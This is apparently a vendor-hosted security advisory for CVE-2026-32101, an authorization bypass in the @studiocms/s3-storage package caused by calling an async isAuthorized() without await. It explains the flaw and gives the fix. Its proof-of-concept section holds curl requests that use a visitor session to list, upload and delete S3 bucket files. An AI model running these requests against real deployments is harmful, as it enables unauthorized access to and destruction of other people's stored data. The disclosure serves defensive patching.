CVE-2026-32101

The S3 storage manager's isAuthorized() function is declared async (returns Promise<boolean>) but is called without await in both the POST and PUT handlers. Since a Promise object is always truthy in JavaScript, !isAuthorized(type) always evaluates to false, completely bypassing the authorization check. Any authenticated user with the lowest visitor role can upload, delete, rename, and list all files in the S3 bucket.

Details

The isAuthorized function is typed as returning Promise<boolean> in packages/studiocms/src/handlers/storage-manager/definitions.ts:88:

export type ParsedContext = {
    getJson: () => Promise<ContextJsonBody>;
    getArrayBuffer: () => Promise<ArrayBuffer>;
    getHeader: (name: string) => string | null;
    isAuthorized: (type?: AuthorizationType) => Promise<boolean>;  // async
};

Both context drivers implement it as async, packages/studiocms/src/handlers/storage-manager/core/effectify-astro-context.ts:32:

isAuthorized: async (type) => {
    switch (type) {
        case 'headers': {
            // ... token verification ...
            const isEditor = level >= UserPermissionLevel.editor;
            if (!isEditor) return false;
            return true;
        }
        default: {
            const isEditor = locals.StudioCMS.security?.userPermissionLevel.isEditor || false;
            return isEditor;
        }
    }
},

But in the S3 storage manager, it's called without await, packages/@studiocms/s3-storage/src/s3-storage-manager.ts:200:

if (authRequiredActions.includes(jsonBody.action) && !isAuthorized(type)) {
    return { data: { error: 'Unauthorized' }, status: 401 };
}

And again at line 372 (PUT handler):

if (!isAuthorized(type)) {
    return { data: { error: 'Unauthorized' }, status: 401 };
}

isAuthorized(type) returns a Promise object. !Promise{...} is always false because a Promise is truthy. The 401 response is never returned.

Execution flow:

1. Visitor-role user sends POST to /studiocms_api/integrations/storage/manager
2. AstroLocalsMiddleware verifies session exists, passes (visitor is logged in)
3. Handler calls !isAuthorized('locals') → evaluates !Promise{...} = false
4. Authorization check is skipped entirely
5. Visitor performs the requested storage operation

PoC

# 1. Log in as a visitor-role user and obtain session cookie

# 2. List all files in S3 bucket (should require editor+)
curl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
  -H 'Cookie: studiocms-session=<visitor-session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"action":"list","prefix":""}'

# Expected: 401 Unauthorized
# Actual: 200 with full bucket listing

# 3. Upload a file as visitor (should require editor+)
curl -X PUT 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
  -H 'Cookie: studiocms-session=<visitor-session-token>' \
  -H 'Content-Type: application/octet-stream' \
  -H 'x-storage-key: malicious/payload.html' \
  --data-binary '<h1>Uploaded by visitor</h1>'

# Expected: 401 Unauthorized
# Actual: 200 File uploaded

# 4. Delete a file as visitor (should require editor+)
curl -X POST 'http://localhost:4321/studiocms_api/integrations/storage/manager' \
  -H 'Cookie: studiocms-session=<visitor-session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"action":"delete","key":"important/document.pdf"}'

# Expected: 401 Unauthorized
# Actual: 200 File deleted

• Any authenticated visitor gains full S3 storage management (upload, delete, rename, list), capabilities restricted to editor role and above
• Attacker can delete arbitrary files from the S3 bucket, causing data loss
• Attacker can list all files and generate presigned download URLs, exposing all stored content
• Attacker can upload arbitrary files or rename existing ones, replacing legitimate content with malicious payloads

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-32101 has a CVSS score of 7.6 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.3.1); upgrading removes the vulnerable code path.

Kodem intelligence

Add await to both isAuthorized() calls in packages/@studiocms/s3-storage/src/s3-storage-manager.ts:

// POST handler (line 200), before:
if (authRequiredActions.includes(jsonBody.action) && !isAuthorized(type)) {

// After:
if (authRequiredActions.includes(jsonBody.action) && !(await isAuthorized(type))) {

// PUT handler (line 372), before:
if (!isAuthorized(type)) {

// After:
if (!(await isAuthorized(type))) {

1. What is CVE-2026-32101? CVE-2026-32101 is a high-severity incorrect authorization vulnerability in @studiocms/s3-storage (npm), affecting versions <= 0.3.0. It is fixed in 0.3.1. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. How severe is CVE-2026-32101? CVE-2026-32101 has a CVSS score of 7.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @studiocms/s3-storage are affected by CVE-2026-32101? @studiocms/s3-storage (npm) versions <= 0.3.0 is affected.
4. Is there a fix for CVE-2026-32101? Yes. CVE-2026-32101 is fixed in 0.3.1. Upgrade to this version or later.
5. Is CVE-2026-32101 exploitable, and should I be worried? Whether CVE-2026-32101 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-32101 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-32101? Upgrade @studiocms/s3-storage to 0.3.1 or later.